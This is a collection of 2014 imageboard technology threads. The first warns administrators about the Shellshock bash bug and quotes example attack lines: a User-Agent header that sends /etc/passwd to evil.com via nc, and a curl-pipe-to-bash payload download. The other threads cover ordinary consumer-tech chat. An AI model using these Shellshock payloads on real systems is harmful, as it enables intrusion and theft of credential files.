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>> No. 23154 Anonymous
25th September 2014
Thursday 5:37 am
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Hi /g/, resident script kiddy here. Thought this was important enough to let anyone who has to look after servers know about.
http://www.openwall.com/lists/oss-security/2014/09/24/10

Long story short, this reddit comment puts it best.
https://www.reddit.com/r/netsec/comments/2hbxtc/cve20146271_remote_code_execution_through_bash/ckrjnlq
"You can put whatever you want in the function (and then call the function), or just write your code after the function. It doesn't matter. And in this case writing a file to disk was merely a proof of concept example that someone gave. Also, it's probably better to just always put your code after the function because in some certain circumstances you may not actually know the name of the environment variable that you're setting.

If you did User-Agent: () { :;}; nc evil.com 6666 < /etc/passwd it would work just the same. In reality, a black hat is probably going to just run curl http://evil.com/bot.sh | bash to download and execute a complete payload."

In other words, a shit load of servers are vulnerable to a pretty simple attack again. Don't even think there's a patch out yet - a later comment to the (lol publicly viewable) mailing list says

"Again, please do not disclose this issue to customers or the general
public until the embargo has expired."

Well, it's public as of a few hours ago. Keep an eye on this one.
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>> No. 23162 Anonymous
25th September 2014
Thursday 4:08 pm
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>>23161
Oh, lovely. It's even got a name now and everything.
>> No. 23164 Anonymous
25th September 2014
Thursday 8:05 pm
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>>23162

Oh dear.

Bashinga was by far the better suggested name.
>> No. 23183 Anonymous
26th September 2014
Friday 6:27 pm
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>>23164
Don't worry lads, the Stallman has declared it a 'blip'.
>> No. 23184 Anonymous
26th September 2014
Friday 7:01 pm
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>>23183
Well that's all right, then. If he says it's a blip, in between munching bits of his foot, then that's just fine.
>> No. 23264 Anonymous
7th October 2014
Tuesday 12:24 pm
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>>23158
>Something I overheard about this bug "I lot of shit is going to get owned, but nothing anyone actually cares about".
http://www.theregister.co.uk/2014/10/06/yahooi_shellshockedii_asii_bashii_bugii_bangsii_upii_gamingii_serversii/
Yahoo got hit. So did Winzip. Please let Winzip have been owned massively and been giving out infected downloads, it would be too funny.

Check out this quality damage control too.

>Updated to add

>Hours after publication, Yahoo! has had a change of heart, claiming that its machines weren't vulnerable to Shellshock – just a bug exactly like it.

>"Earlier today, we reported that we isolated a handful of servers that were detected to have been impacted by a security flaw. After investigating the situation fully, it turns out that the servers were in fact not affected by Shellshock," said Alex Stamos, Yahoo!’s chief information security officer, on Hacker News. A copy of his statement was forwarded to us by Yahoo! PR.

>"Three of our Sports API servers had malicious code executed on them this weekend by attackers looking for vulnerable Shellshock servers. These attackers had mutated their exploit, likely with the goal of bypassing IDS/IDP or WAF filters.

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>> No. 23231 Anonymous
5th October 2014
Sunday 9:54 pm
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I'm developing an android app that blocks text message spam, is there a website I could sign my number up to spam to stress test it?
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>> No. 23251 Anonymous
6th October 2014
Monday 7:10 pm
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Domino's
>> No. 23252 Anonymous
6th October 2014
Monday 8:21 pm
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PPI companies
>> No. 23253 Anonymous
6th October 2014
Monday 8:54 pm
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Compare the Market. Those cunts just won't stop.
>> No. 23254 Anonymous
6th October 2014
Monday 8:59 pm
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You could bombard yourself with messages using Twilio.
>> No. 23255 Anonymous
6th October 2014
Monday 9:04 pm
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>>23231

I get two messages from 3 a day, maybe if you have a 3 sim it could be worth opting back into the messages they send.

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>> No. 23131 Anonymous
19th September 2014
Friday 10:23 pm
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Any programmers around here?

I've bumped into Matasano Crypto Challenges. Glancing over them I thought maybe it's worth to try. I am by no means a programmer, nor do I work in any related fields; I used to flick through source codes multiple times when I needed to find out various things and details about how programmes work — for that my very tiny knowledge has so far been sufficient. Until now.

I fucked up on the very first challenge. I tried this and that — my shit just does not work. Obviously, my limited set of skills is useless. What to do?

I'm using C because I'm familiar with its syntax. I'd use the same approach I used to learn how to deal with OS — trial and error — but I'm failing miserably. A sound advice would help greatly.

The challenges are located here: http://cryptopals.com/
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>> No. 23246 Anonymous
6th October 2014
Monday 1:20 pm
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>>23245

R or Matlab, maybe Haskell if you're really keen.
>> No. 23247 Anonymous
6th October 2014
Monday 2:01 pm
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>>23245
Why are you bothering to do a PhD if your plans lie in finance?
>> No. 23248 Anonymous
6th October 2014
Monday 2:27 pm
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>>23247

Most quant jobs require a PhD or a very good MSc.
>> No. 23249 Anonymous
6th October 2014
Monday 4:17 pm
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>>23248
I was under the impression that if anything a PhD would make you less employable for finance (or indeed any job not directly related to your PhD subject), due to wasting four years of potential experience in the industry.
>> No. 23250 Anonymous
6th October 2014
Monday 4:59 pm
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>>23221
Good evening to you too.
I have come to a similar conclusion regarding the challenges. I'm still going to make myself a copy and ponder on them whenever I want to.

Regarding languages, I have a little experience with Shell + sed + awk + other small utilities like tr. I have thought about dabbling with Perl or Python, haven't decided anything yet. C is mostly to try to do something at lower levels and to get my hands (very) dirty.

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>> No. 23203 Anonymous
3rd October 2014
Friday 5:28 pm
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Can I get a pair of earphones for everyday use (i.e. being put into pockets, continually detached and plugged in, that sort of thing) that will last longer than a few weeks if I spend £30?

I've used the pictured cheapo job, and they sound wonderful, but they also tend to break near the jack and end up with one side cutting out.

I'm thinking maybe something geared toward exercise would last longer? Reliability is the main thing I'm going for here.
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>> No. 23216 Anonymous
4th October 2014
Saturday 10:11 am
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I would highly recommend the JVC Gummys, they where recommended to me years and years ago and it was a good recommendation at the time. Over a decade later i don't have them anymore but would consider getting a pair again. They are cheap and sound good. They lasted pretty well but all speakers will wear out eventually.
>> No. 23217 Anonymous
4th October 2014
Saturday 11:29 am
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>>23216

They dont sound very good to me.
>> No. 23218 Anonymous
4th October 2014
Saturday 4:47 pm
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>>23217
They're easily the best sub £10 headphones.
>> No. 23219 Anonymous
4th October 2014
Saturday 5:55 pm
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>>23218

Still don't sound very good. Can get much better sounding 'phones for just a few quid more IME.
>> No. 23220 Anonymous
4th October 2014
Saturday 10:41 pm
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>>23218
That's a pretty daft claim.

(Maybe I'm taking the bait by saying that. Oh well.)

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>> No. 23210 Anonymous
3rd October 2014
Friday 8:22 pm
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Is anyone able to ping sip.voipfone.net right now? I can't tell if my VOIP's down because of a problem at my end. The rest of my internet's working fine.
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>> No. 23211 Anonymous
3rd October 2014
Friday 8:26 pm
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Nope.
>$ ping sip.voipfone.net
>PING sip.voipfone.net (195.189.173.27) 56(84) bytes of data.
>^C
>--- sip.voipfone.net ping statistics ---
>10 packets transmitted, 0 received, 100% packet loss, time 9004ms
>> No. 23212 Anonymous
3rd October 2014
Friday 8:29 pm
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Cheers. I'm glad it's not just me then. I reset all my settings and flashed the firmware before it occurred to me to try pinging.
>> No. 23213 Anonymous
3rd October 2014
Friday 8:30 pm
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Have you checked your voice gateway spigots?
>> No. 23214 Anonymous
3rd October 2014
Friday 8:34 pm
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Oddly enough I was sitting in front of the PC the other day and heard a loud bang in front of me but couldn't tell where it came from. I think it must have been the surge-proof adaptor because its green light is no longer on, but half an hour ago I was convinced it must have been the Cisco SPA112 and was on the verge of attempting to disassemble it.
>> No. 23215 Anonymous
3rd October 2014
Friday 8:35 pm
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>>23213

and I just had to google to see if voice gateway spigots are a real thing.

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>> No. 23188 Anonymous
1st October 2014
Wednesday 3:49 pm
23188 "Smart" meters.
I suppose this thread belongs in /g/

I've just had another letter from my energy company asking me to book an appointment to have a smart meter fitted. Personally I think they're a load of bollocks but does anyone else have one?

The only real benefit that they are advertising to consumers is that you get a display which tells you how much electricity you are using so that you can use less. Anyone with basic math skills should easily be able to work out how much electricity any appliance is using. Even if people do need a smart meter to work out how much they're using what good would it do? Are you really going to switch on a kettle, look at your meter then think "oh my kettle is using a lot of electricity, I'd better turn it off".

No, the real benefit of smart meters is to the energy companies. It saves them money from having to read meters manually, and it will free up capital which is currently tied up by estimated meter readings.
Theoretically these savings should be eventually passed onto the customer, but more worrying is the possibility of companies in the future being given permission to force customers onto different tariffs to penalise them for bad usage habits. For example, someone gets home from work at 5:30, switches on the TV, kettle, heating all at once, and does this every day. I imagine that at some point in the future, such a person would be forced to pay double or triple the normal cost of electricity during this half hour window.

However I am torn on this, I do have basic understanding of the electricity grid. I understand the effects of peak loads and base loads, and that if peaks were smooth out, then the total grid capacity can be much lower and hence reduce the cost. This is one reason why I believe everyone should opt for a 2KW kettle rather than a 3KW "fast boil".
I guess I'm just being incredibly cynical, and reluctant to allow energy companies such an intimate insight and possibly control over my electricity usage.
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>> No. 23190 Anonymous
1st October 2014
Wednesday 4:53 pm
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>>23189

No one's read my meter in about nine months come to think of it. Maybe I've been with them enough years that they've grown to trust me.
>> No. 23191 Anonymous
1st October 2014
Wednesday 4:59 pm
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>>23188
>Anyone with basic math skills should easily be able to work out how much electricity any appliance is using.
You'd think so,but it's not that simple. For instance, a 750W PC supply at full tilt might draw 900, but under lighter load might only draw 600. Then there's the minor detail that to properly work out what goes on in an AC system requires complex rather than merely real arithmetic.
>> No. 23198 Anonymous
2nd October 2014
Thursday 3:43 pm
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> I guess I'm just being incredibly cynical
No, not so much. You haven't mentioned potential use of that data to try and shove more useless stuff at you.
>> No. 23199 Anonymous
2nd October 2014
Thursday 7:15 pm
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>>23191
Do engineers actually need to know how the full complex treatment of AC electricity? I always assumed they just cheated made things easier for themselves by using 'reactance' and 'phase'.
>> No. 23202 Anonymous
2nd October 2014
Thursday 10:02 pm
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>>23199
For metering, 'phase' doesn't begin to describe the complicated (complex would be a better word, but not this time) non-linear load that a PC's power supply presents. All you end up doing is sampling both current and voltage at a high rate, and running maths to emit a KWh number. You can, if you like, describe those workings with complex numbers.
Reactance and phase only really work with simple linear loads, only really heaters (immersion, kettles, hobs) any more.

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>> No. 23175 Anonymous
26th September 2014
Friday 4:09 pm
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You no longer need to put your mobile phone in flight mode in flight.

http://www.bbc.co.uk/news/business-29381193
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>> No. 23179 Anonymous
26th September 2014
Friday 4:21 pm
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>Also planes would have dropped out of the sky
Be sensible lad. Let's say mobiles interfere with the navigation and communication devices on board the aircraft and down on the ground. In the worst case scenario, f the pilots were unable to get a bearing on where they were going, or communicate with the tower was entirely cut, would the plane really just 'drop out of the sky'?
>> No. 23180 Anonymous
26th September 2014
Friday 5:18 pm
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>>23179
Yes.
http://en.wikipedia.org/wiki/Air_France_Flight_447
>> No. 23181 Anonymous
26th September 2014
Friday 5:29 pm
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>>23180
Go and stand in the corner.
>> No. 23182 Anonymous
26th September 2014
Friday 5:40 pm
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>>23180

Aviation accidents almost always occur because of a long chain of fairly small problems that multiply into something catastrophic. Nobody in the industry ever believed that interference from handheld electronics would cause a plane to spontaneously fall out of the sky, but it could combine with other technical and human factors to cause a disaster. Failures to navigation or control systems greatly increase the likelihood of human error.

For this reason, the aviation industry is naturally very conservative. Ever since the De Havilland Comet, we have known that new technologies are inherently risky if they are not fully understood and tested. Very rare combinations of factors become statistically inevitable over a sufficiently large number of flight hours. The inconvenience of turning off your electronic devices was seen as a small price to pay if it removed one possible factor in a catastrophe. Only after extensive testing and research do we have the confidence to allow their use.
>> No. 23192 Anonymous
1st October 2014
Wednesday 6:07 pm
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I'm assuming you've all seen this. Sigh.
http://www.bbc.co.uk/news/technology-29445385

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>> No. 23100 Anonymous
9th September 2014
Tuesday 4:22 pm
23100 Mouse Alternatives
My Magic Mouse has died after 4 years of faithful service. I resent giving more money to Apple so for this year's Christmas present I need a replacement.

Requirements:
- discrete left/right buttons
- Bluetooth connection > USB dongle
- multi-track like the Magic Mouse
- respectable battery life
- doesn't look like it belongs in the bedroom of a stinky autist who spends too much time on Dota. If you have an issue with my considering aesthetics in my purchases, kindly go stick your opinions in your local eco-friendly recycling bin.

Cheers /g/uys.
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>> No. 23174 Anonymous
26th September 2014
Friday 4:07 pm
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>>23172
Dunno bout you but I don't want no scrub. A scrub is a guy that can't get no love from me.
>> No. 23178 Anonymous
26th September 2014
Friday 4:17 pm
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>>23170
More like the mods were blown away by how bitching the mouse looked and accidentally clicked the ban button as they fell off their chair.
>> No. 23185 Anonymous
26th September 2014
Friday 7:55 pm
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>>23172
In other words, you don't want no scrubs?
>> No. 23186 Anonymous
26th September 2014
Friday 7:57 pm
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>>23174
Hanging out the passenger side of his best friend's ride, trying to holler at you? I know that type only too well. Fucking scrubs.
>> No. 23187 Anonymous
26th September 2014
Friday 9:26 pm
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>>23186
Mirth. 8/10

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>> No. 23139 Anonymous
24th September 2014
Wednesday 10:35 am
23139 Opera Silliness
I keep getting this nonsense when I try to access FunChan (purely for espionage purposes of course).

It only seems to effect Opera, and only for the last week or so. I've added 4Chan to the "secure websites" list that Opera has, but it doesn't seem to give a shit.

Is there anyway to just outright stop this crap, 4Chan isn't the only website I've seen effected, just the only one I use regularly.
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>> No. 23144 Anonymous
24th September 2014
Wednesday 12:44 pm
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>>23142
Then he should've said "4chan isn't the only website that has effected change in this browser" or something like that. It doesn't make sense as written.
>> No. 23146 Anonymous
24th September 2014
Wednesday 1:46 pm
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>>23145
> This post is already in the report list
Top work otherlad.
>> No. 23153 Anonymous
25th September 2014
Thursday 4:32 am
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>>23146
Either you're Purple, Purple posted it, or Purple is reporting it to himself. I'm not Purple, I didn't post it, and I'm not you.


Four.
>> No. 23160 Anonymous
25th September 2014
Thursday 4:06 pm
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>>23139

What opera version are you using? Old (12.x) versions (with the Presto engine) seem to possibly now have out of date root certs, meaning HTTPS is now broken. If you're seeing this is new (Chromium-based) Opera then I really have no idea what's up.
>> No. 23163 Anonymous
25th September 2014
Thursday 6:48 pm
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>>23153
ITZ

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>> No. 23126 Anonymous
17th September 2014
Wednesday 2:25 pm
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Hello both of you. It's IOS 8 day, as if you cared.
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>> No. 23148 Anonymous
24th September 2014
Wednesday 4:00 pm
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>>23147
I'd be careful if I were you. Apple have a trademark on the letter "i" - they even sued when people used iScotland in referendum coverage, because it may have caused confusion with its own products which were mostly white, cost too much and typically didn't work.
>> No. 23150 Anonymous
24th September 2014
Wednesday 4:50 pm
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>>23148

Only difference between the two is that one runs on electricity and the other runs at the first sight of polis.
>> No. 23151 Anonymous
24th September 2014
Wednesday 9:51 pm
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DA NU IPHONE IS 4 BUMDERZ M8

ITS WELL BENT LOL
>> No. 23152 Anonymous
24th September 2014
Wednesday 10:04 pm
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Absolutely irrelevant to the thread, I'm sure, but I was using Lumosity on my phone recently, a pretty little app designed as one of those 'brain trainers'. As I was dutifully solving arithmetic tests and swiping in the correct direction that a cluster of little virtual leaves drifting on a stream were pointing (not moving), I thought of a comment made by Brooker in an ancient article for the Guardian before he, too, sold himself to Apple products . He was talking about Macs, but I think this extends to a lot of tech including smartphones; they really are Fisher-Price play centres for adults. I now use my phone to inform me of meetings, tasks, check communications with people, to manage my finances, and it's all presented to me with lovely colours and sounds. I'm not sure I like the 'gamification' of my entire life.

The latest set of ads where Apple try to present the act of making music as another product also irks the shit out of me. The enrichment that music can bring to your life is in the creative act itself, not in the means you use to make it. In fact, the only person I know who downloaded 'MyFitnessPal' hasn't been to the gym with me since March. Beware the mindtrickery of these little machines, they can convince you that you're doing something when all you've actually done is blown smoke up your own arse.

Massive sageru for talking about nothing in particular.
>> No. 23159 Anonymous
25th September 2014
Thursday 3:28 pm
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>>23152
> I'm not sure I like the 'gamification' of my entire life
I concur.
> Beware the mindtrickery of these little machines, they can convince you that you're doing something when all you've actually done is blown smoke up your own arse.
As my older bro has always been saying, 'If you are going to do something, do it, don't waste your time on nonsensical banter and shite'.

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>> No. 23086 Anonymous
7th September 2014
Sunday 4:52 am
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Good morning, you two.

I am soon to move. My new home is a whopping two miles straight-line from the exchange. According to Sam, I should be set for BT fibre, but it would appear that Virgin's availability checker is sleeping off a massive bender so while I know there's cable I don't know which service levels it's capable of sustaining. I'm assuming that at this great distance my ADSL speed would be on par with treacle, so I'm effectively limited to BT Infinity or Virgin. Am I right in thinking this? If so, which of them is less shit? Decent upload speed appreciated, but more important is not being tied into crap hardware (e.g. the BT Home Hub that's being left behind because it insists on periodically going into a coma or telling clients they're still associated while refusing to actually handle any data).
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>> No. 23088 Anonymous
7th September 2014
Sunday 10:59 am
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That's refreshing to know. But then I went and put both old home and new home into BT's availability checker and got picrelated. Looks like I can get 80/20 where I am, but not where I'm going. I can only assume I've managed to not only find somewhere that's miles from the exchange but also miles from the cabinet. On the upside, someone has apparently within the last month done speed checks via Uswitch and recorded 30/4 on BT, against 35/3 on Virgin (admittedly it doesn't reveal what package they were on, though I'm working on the assumption that it doesn't matter much if that's the result).

FWIW, while looking around, I did see some flyers for Hyperoptic, who would install their own fibre, but it seems that for where I'm living they're still only at the EOI stage, and so I'd have to tie myself up with someone else for at least a year.
>> No. 23089 Anonymous
7th September 2014
Sunday 11:18 am
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>>23086

Well, Virgin let you use your own router if that makes a difference. Belkin are quite good in that regard, never had an issue that couldn't be solved by Virgin's tech team as they "unofficially" support Belkin routers.

I don't know how it would work on BT.
>> No. 23090 Anonymous
7th September 2014
Sunday 11:58 am
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>>23088
Hmm ... on closer inspection, it seems that part of this is because I'm on the top floor, as BT's checker tells me that the ground-floor flats can get 80/20. FFS ...
>> No. 23091 Anonymous
7th September 2014
Sunday 1:14 pm
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>>23090

It could be that BT's checker is trying to guess the length of street by your number, it might be trying to assume that you're the other end of the street and an extra half a mile away.
Or it could possibly be that the flats have shitty internal wiring.
>> No. 23125 Anonymous
14th September 2014
Sunday 8:23 pm
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Having been in the new flat, it appears the previous tenant was a Virgin customer. In general, they didn't do a very good job of moving out, and have left the boxes behind. There was no brick for the TiVo, but the Superhub still worked, and the default passwords applied. Anyway, SpeedTest told me it was giving about 40Mbit down and 2Mbit up. There is also a communal aerial point, but this was initially installed by Virgin and apparently hasn't worked in about a year or so, with no estimate on getting it fixed (ever). That narrows my options somewhat. Apparently I can get a rather substantial broadband/TV/phone bundle for £45pm (+ line rental), which seems cheaper than some of fibre offerings (where I've seen prices of around £60pm + line rental quoted). In general, do I assume that when evaluating the BT FTTC that I can essentially take service from practically any ISP advertising "fibre" services? On a related note, I'm disappointed at the lack of anything that allows me to compare ISPs on anything other than price, or to bung in some features and see what fits. For instance, I can't find a comparison site that would let me exclude ISPs that have stupidly small limits (1GB/month? On a 40Mbit line in 2014? Really?), and none of them provide any kind of comparison on traffic management policies, etc.

On a /101/ side note, I have just seen a comparison site that lists providers with allowances of "unlimited" and "truly unlimited". Why the ASA never clamped down on that nonsense years ago I'll never know.

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>> No. 23097 Anonymous
9th September 2014
Tuesday 12:03 am
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>> No. 23118 Anonymous
10th September 2014
Wednesday 3:55 am
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>>23116

That. Japan uses a lot of weird proprietary technology which tends not to be well-supported by international brands. It's not that Japanese consumers are luddites, but that they demand a unique set of features. The iPhone has done relatively well, mainly due to fashion, but Android adoption has been very slow. The Android market in Japan is dominated by local brands like Sony and Sharp, who produce handsets specifically for the domestic market.

Mobile data is relatively expensive in Japan (partly due to the dominance of the old monopoly NTT, partly due to the difficulty of providing good coverage in a country with such an unevenly-distributed population), which has slowed the adoption of modern web technologies; The Japanese mobile internet is still dominated by i-Mode services, which are very bandwidth-efficient.

To give a couple of examples of the Galapagos effect:

Japan has a very well-developed mobile TV system. Most of their featurephones have a 1seg receiver, which allows you to watch live TV on your phone. Because it's a broadcast system, coverage is excellent and it works well in crowded areas where 3G bandwidth would be too saturated for streaming, or on fast trains where 3G would break up.

Contactless technology is ubiquitous in Japan and works in nearly all shops, on vending machines and on public transport; It's also used for things like library cards and workplace identity passes. Their contactless system isn't compatible with NFC and so only works with Japanese phones.
>> No. 23120 Anonymous
10th September 2014
Wednesday 4:19 am
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>>23116
>>23118
That's impressive. In some ways, their galapagos phones seem better than smartphones.
>> No. 23122 Anonymous
10th September 2014
Wednesday 1:08 pm
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>>23120
One benefit of the NTT monopoly that >>23118 mentioned is that they got this stuff early; if you're the only game in town you tend to have the resources and clout to quite quickly roll out broad new technologies. I remember being shown impressive 3D games on relatively cheap NTT DoCoMo handsets circa 2004, back when we were still pissing around with glorified versions of Snake, and I'm told they had 3G internet back in 2001. Then, as is so often the case with holders of a monopoly position, stagnation set in; a friend of mine in 2009 or so was bemoaning the fact that the phones in Japan just weren't getting any better whilst the smartphone revolution was soaring abroad, and it sounds like that transition has been pretty painful and isn't nearly over yet.
>> No. 23123 Anonymous
10th September 2014
Wednesday 2:08 pm
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>>23122

Miles ahead to miles behind.

The French had a similar situation with Minitel, a computer terminal system launched by France Télécom in 1982. It was a proto-internet service, providing dial-up access to a variety of information services including banking and mail order shopping.

Takeup was massive, because the telecoms monopoly gave away the terminals for free with the expectation of recouping the cost with per-minute usage charges. This worked, and by the 1990s they were making hundreds of millions a year from Minitel; Unsurprisingly, efforts to roll out broadband were rather hampered by the fear of killing their golden goose.

Japan is doubly hampered by its weird business culture, that is hugely hostile to foreign companies and where most companies seem to behave like arthritic old monopolies. Japanese businesses are still reliant on fax machines, for crying out loud:

http://www.nytimes.com/2013/02/14/world/asia/in-japan-the-fax-machine-is-anything-but-a-relic.html
>> No. 23124 Anonymous
10th September 2014
Wednesday 2:54 pm
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>>23123
>Faxes continue to appeal to older Japanese, who often feel uncomfortable with keyboards, experts say.
I've often wondered how much of an impact this has had on Japan, and for other similar logographic written languages that don't lend themselves naturally to computer keyboards.

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>> No. 23068 Anonymous
5th September 2014
Friday 4:13 pm
23068 Rambam's talk at HOPE X
Kinda late but nonetheless. In case some of you haven't seen it.
Long (2 hours and 20 minutes, plus 18 minutes of Q&A) but IMO worth it. Creepy too.

He talks mostly about surveillance facilitated by private sector, focussing on the so-called open-source intelligence and emphasising there is no difference between the government and corporate surveillance — the former being outsourced to the latter and other data from the latter may be gathered by the former with or without a warrant/subpoena. He also mentions Snowden's material and covers some of the not so recent stuff. The conclusion is not very bright.

https://www.youtube.com/watch?v=dNZrq2iK87k
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>> No. 23083 Anonymous
7th September 2014
Sunday 12:38 am
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Saw this a while ago.

What I love is how ten years ago this was tinfoil hat crazy talk. Nowadays it's commonplace fact.

And to think we are only on the iceberg tip. This technology is only going to get more advanced and more integrated with society. I'm not sure I like the shape of the future.
>> No. 23084 Anonymous
7th September 2014
Sunday 12:48 am
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>>23083

Don't worry, a decade or two of pseudo-fascistic hell and then the oil run out and make the whole thing unsustainable.
>> No. 23085 Anonymous
7th September 2014
Sunday 12:50 am
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>>23083
He has apparently been giving this same talk with the same slides for twenty years. Each time he gets to add more details.
>> No. 23092 Anonymous
7th September 2014
Sunday 4:22 pm
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>>23085
Well, I certainly remember reading a transcript of at least one of them.
>>23083
Agreed.
One particularly ugly problem is when you cannot afford not to to give in to something, although it may be presented as if you 'have a choice'. Say, the public buys into this recent 'Quantified Self' HealthKit-type hype and starts to meticulously track themselves and their state. Of course, the data flows everywhere, from doctors to marketers and insurers. Then this tracking becomes mandatory—and you are fucked.

Not sure if not tin-foil but sage anyway.
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9th September 2014
Tuesday 3:41 pm
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And, what was the last question in the Q&A? I couldn't discern it.

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>> No. 23016 Anonymous
27th August 2014
Wednesday 4:58 pm
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Is it just me or is Firefox getting slower with every update?
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>> No. 23063 Anonymous
3rd September 2014
Wednesday 10:45 pm
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>>23024

If the chaps from that mobile phone thread are to be believed, it's because "waaahhh programming is like, so hard you guys".
>> No. 23064 Anonymous
3rd September 2014
Wednesday 11:08 pm
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>>23024

Firefox just don't have the development resources. They're a small and relatively underfunded open source project, competing against huge multinationals.

They have the oldest layout engine of any modern browser (Gecko, dating back to early 1997), which means dealing with a lot of legacy code. Maintaining old code is immeasurably harder than writing it from scratch. Gecko is also burdened by a lot of early engineering decisions that bloated the scope to be much more than 'just' a browser layout engine, which makes the architecture hugely overcomplicated.

Chrome is based on WebKit, which was the layout engine used by Apple for Safari. Their combined resources were vast, giving them a huge competitive advantage. Google recently forked their layout engine from the core WebKit branch, to further simplify and optimise the codebase. Chrome is a very young browser (launched in 2008), which means that the design is much more elegant than other browsers and benefits from a lot of lessons learned. Google also benefit from having some of the most brilliant computer scientists in the world working on Chrome, most notably Lars Bak, the genius who more or less single-handedly designed their JavaScript engine.
>> No. 23065 Anonymous
4th September 2014
Thursday 2:50 pm
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>>23064
Why don't Mozilla switch to WebKit? Didn't Opera do exactly that?
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4th September 2014
Thursday 3:35 pm
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>>23064

WebKit is one of the worst code bases ever written. Blink is making leaps and bounds towards rectifying this, but it's going to take a while.

Chrome also involved a bunch of design decisions that sped things but weren't great for security (for example it's been a nightmare to get something approaching noscript functionality in Chrome), and instead relied far too much on the sandboxing aspect, which at least on Windows systems is a pretty terrible idea.
>> No. 23067 Anonymous
4th September 2014
Thursday 9:27 pm
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>>23063

Mate, playing with QBASIC as a child does not make you an authority on technology...

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